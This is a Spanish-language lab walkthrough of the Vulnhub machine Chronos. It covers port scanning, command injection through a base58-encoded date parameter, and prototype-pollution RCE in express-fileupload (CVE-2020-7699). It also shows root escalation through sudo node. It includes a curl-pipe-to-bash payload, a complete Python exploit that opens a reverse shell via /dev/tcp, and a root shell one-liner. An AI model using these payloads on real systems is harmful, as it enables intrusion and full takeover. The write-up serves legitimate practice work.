Post

Vulnhub - Chronos

Máquina Linux de nivel Medium de Vulnhub.

Técnicas usadas: NodeJS, RCE (CVE-2020-7699)

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos.

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos

  • nmap -p22,80 -sCV <IP> -oN versiones

c. Si analizamos el código fuente de la página del puerto 8000, veremos que se tramita cierta información

1
var _0x5bdf='http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL'

Añadiremos el host chronos.local al fichero /etc/hosts y la información la decodearemos con CyberChef

  • La información viaja encodeada en base58

  • Lo que trataremos de realizar será una Inyección de Comandos, para saber si la página es vulnerable ejecutaremos un ping hacia nuestra máquina, en la cual, esteraremos previamente en escucha con tcpdump

  • El payload anterior lo enviaremos a través de Burp Suite

d. Nos entablamos un reverse shell

  • Encodeamos el siguiente payload: “curl http://<IP Atacante>|bash‘+Today is %A, %B %d, %Y %H:%M:%S.’”

Escalada de Privilegios 💹

a. Si inspeccionamos la máquina nos encontramos con una versión2 del sitio web de chronos

1
2
www-data@chronos:/opt$ ls
chronos  chronos-v2
  • Si vemos el código llegamos a un versión de una biblioteca usada

    1
    2
    3
    4
    5
    6
    
      www-data@chronos:/opt/chronos-v2/backend$ cat package.json 
        
      <SNIP>
      "ejs": "^3.1.5",
      "express": "^4.17.1",
      "express-fileupload": "^1.1.7-alpha.3"
    
    • Datos a tener en cuenta
      • El sitio web no es accesible desde nuestra máquina de atacante.
      • Se ejecuta por el puerto 8080
      • La versión de la biblioteca usada es vulnerable a CVE-2020-7699

b. Transferimos el script de python para llegar a ejecutar comandos y con esto nos enviaremos una reverse shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@chronos:/tmp$ cat rce.py 
import requests

### commands to run on victim machine
cmd = 'bash -c "bash -i >& /dev/tcp/192.168.100.70/4444 0>&1"'

print("Starting Attack...")
### pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

### execute command
requests.get('http://127.0.0.1:8080')
print("Finished!")
  • Lo ejecutamos y nos ponemos en escucha previamente con nc

c. Inspeccionamos nuestros privilegios a nivel de sudoers

1
2
3
4
5
imera@chronos:/opt/chronos-v2/backend$ sudo -l

User imera may run the following commands on chronos:
    (ALL) NOPASSWD: /usr/local/bin/npm *
    (ALL) NOPASSWD: /usr/local/bin/node *
  • Vemos en GTFOBins una forma de escalar privilegios usando node

    1
    2
    3
    
      imera@chronos:/opt/chronos-v2/backend$ sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
      whoami
      root
    
This post is licensed under CC BY 4.0 by the author.